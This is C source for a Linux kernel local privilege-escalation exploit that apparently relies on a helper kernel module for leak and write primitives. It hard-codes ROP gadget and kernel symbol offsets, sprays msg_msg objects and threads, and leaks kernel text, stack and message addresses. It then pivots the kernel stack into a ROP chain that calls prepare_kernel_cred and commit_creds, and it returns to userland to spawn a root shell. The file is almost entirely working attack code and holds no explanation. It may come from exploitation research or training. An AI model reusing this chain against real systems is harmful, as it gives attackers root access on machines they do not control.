#include "utils.h" #include "ulkm.h" #include "msg_msg.h" #include #include #include #include #define MSG_TYPE 0x41 #define MSG_HEADER 48 #define MSG_SIZE (4096 - MSG_HEADER) #define MSG_TEXT_OFFSET 2048 #define SPRAY_THREADS 128 #define RECLAIM_STACK_THREADS 256 #define STACK_SZ (4<<12) #define NEXT_STACK 16*STACK_SZ // 0xffffffff818326ea: add rsp, 0x30; pop rbp; ret; #define ADD_RSP_0X38_RET_OFFSET 0x8326ea // 0xffffffff8184c11f: push rax; pop rbp; ret; #define PUSH_RAX_POP_RBP_RET_OFFSET 0x84c11f // 0xffffffff810e324c: mov rsp, rbp; pop rbp; ret; #define MOV_RSP_RBP_POP_RET_OFFSET 0xe324c // 0xffffffff810e32f0: pop rdi; ret; #define POP_RDI_RET_OFFSET 0xe32f0 // 0xffffffff81608764: xchg rdi, rax; ret; #define XCHG_RDI_RAX_RET_OFFSET 0x608764 #define SWAPGS_POP_RET_OFFSET 0x140136c #define IRET_OFFSET 0x140183d #define FIND_TASK_BY_VPID_OFFSET 0x133020 #define PREPARE_KERNEL_CRED_OFFSET 0x140d00 #define COMMIT_CREDS_OFFSET 0x140780 #define INIT_TASK_OFFSET 0x240fcc0 #define INIT_CRED_OFFSET 0x2490220 size_t _text; size_t stack; size_t msg_msg; enum state { DO_LEAK, STACK_LEAKED, } state; size_t user_cs; size_t user_ss; size_t user_sp; size_t user_rflags; void save_state(void) { __asm__ ( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("[*] Saved state"); } void *leak_task(void *) { pin_to_core(1); lkm_stack_leak((size_t)&stack); stack += NEXT_STACK; printf("[+] leaked stack %016zx\n", stack); return 0; } void *spray_task(void *) { pin_to_core(2); sleep(-1); return 0; } int empty_function(void *) { // pin_to_core(3); // sleep(-1); return 0; } void shell(void) { // register size_t rax asm("rax"); // printf("[*] rax %016zx\n", rax); printf("[+] uid %d gid %d\n", getuid(), getgid()); // sleep(-1); int ret = system("/bin/sh"); if (ret < 0) { perror("system"); exit(-1); } } void build_rop_chain(size_t *rop) { *rop++ = 0; // rbp *rop++ = POP_RDI_RET_OFFSET+_text; *rop++ = INIT_TASK_OFFSET+_text; *rop++ = PREPARE_KERNEL_CRED_OFFSET+_text; *rop++ = XCHG_RDI_RAX_RET_OFFSET+_text; *rop++ = COMMIT_CREDS_OFFSET+_text; *rop++ = SWAPGS_POP_RET_OFFSET+_text; *rop++ = 0; // rbp *rop++ = IRET_OFFSET+_text; *rop++ = (size_t)&shell; *rop++ = user_cs; *rop++ = user_rflags; *rop++ = user_sp; *rop++ = user_ss; } char thread_stack[1<<15]; int main(void) { save_state(); pin_to_core(0); printf("[*] start\n"); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); lkm_init(); lkm_code_leak((size_t)&_text); printf("[+] _text %016zx\n", _text); static char buffer[0x1000] = {0}; msg *message = (msg *)buffer; message->mtype = MSG_TYPE; build_rop_chain((size_t *)(message->mtext+MSG_TEXT_OFFSET)); int qid = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT); send_msg(qid, message, MSG_SIZE, 0); lkm_msg_msg_leak((size_t)&msg_msg, qid, MSG_TYPE); printf("[+] msg_msg %016zx\n", msg_msg); int ret; pthread_t tid; for (size_t i = 0; i < SPRAY_THREADS; ++i) { ret = pthread_create(&tid, 0, spray_task, 0); if (ret < 0) { perror("pthread_create(spray_task)"); exit(-1); } } printf("[*] create leak task\n"); ret = pthread_create(&tid, 0, leak_task, 0); if (ret < 0) { perror("pthread_create(leak_task)"); exit(-1); } printf("[*] join leak task\n"); pthread_join(tid, 0); for (size_t i = 0; i < RECLAIM_STACK_THREADS; ++i) { /* load small first payload on the stack via user registers */ register size_t r12 asm("r12"); size_t old_r12 = r12; register size_t r13 asm("r13"); size_t old_r13 = r13; register size_t r14 asm("r14"); size_t old_r14 = r14; asm volatile( "mov %[st90], %%r12;" "mov %[st98], %%r13;" "mov %[sta0], %%r14;" :: [st90]"r"(_text+MOV_RSP_RBP_POP_RET_OFFSET), [st98]"r"(_text+PUSH_RAX_POP_RBP_RET_OFFSET), [sta0]"r"(_text+XCHG_RDI_RAX_RET_OFFSET) ); clone(empty_function, thread_stack+sizeof(thread_stack), CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, 0); asm volatile( "mov %%r12, %[old_r12];" "mov %%r13, %[old_r13];" "mov %%r14, %[old_r14];" :: [old_r12]"m"(old_r12), [old_r13]"m"(old_r13), [old_r14]"m"(old_r14) ); } /* overwrite function pointer with rdi register */ lkm_write(stack+STACK_SZ-0xc0, _text+ADD_RSP_0X38_RET_OFFSET); // <- R12, RIP lkm_write(stack+STACK_SZ-0xc8, msg_msg+MSG_HEADER+MSG_TEXT_OFFSET); // <- R13, RDI /* for testing */ // lkm_write(stack+STACK_SZ-0xb8, 0x4141414141414141); // lkm_write(stack+STACK_SZ-0xc0, 0x4242424242424242); // <- R12, RIP // lkm_write(stack+STACK_SZ-0xc8, 0x4343434343434343); // <- R13, RDI // lkm_write(stack+STACK_SZ-0xd0, 0x4444444444444444); // lkm_write(stack+STACK_SZ-0xd8, 0x4545454545454545); // <- R14 // lkm_write(stack+STACK_SZ-0xe0, 0x4646464646464646); // <- R15 printf("[*] main thread sleep\n"); sleep(-1); // cleanup_queue(qid); printf("[*] done\n"); }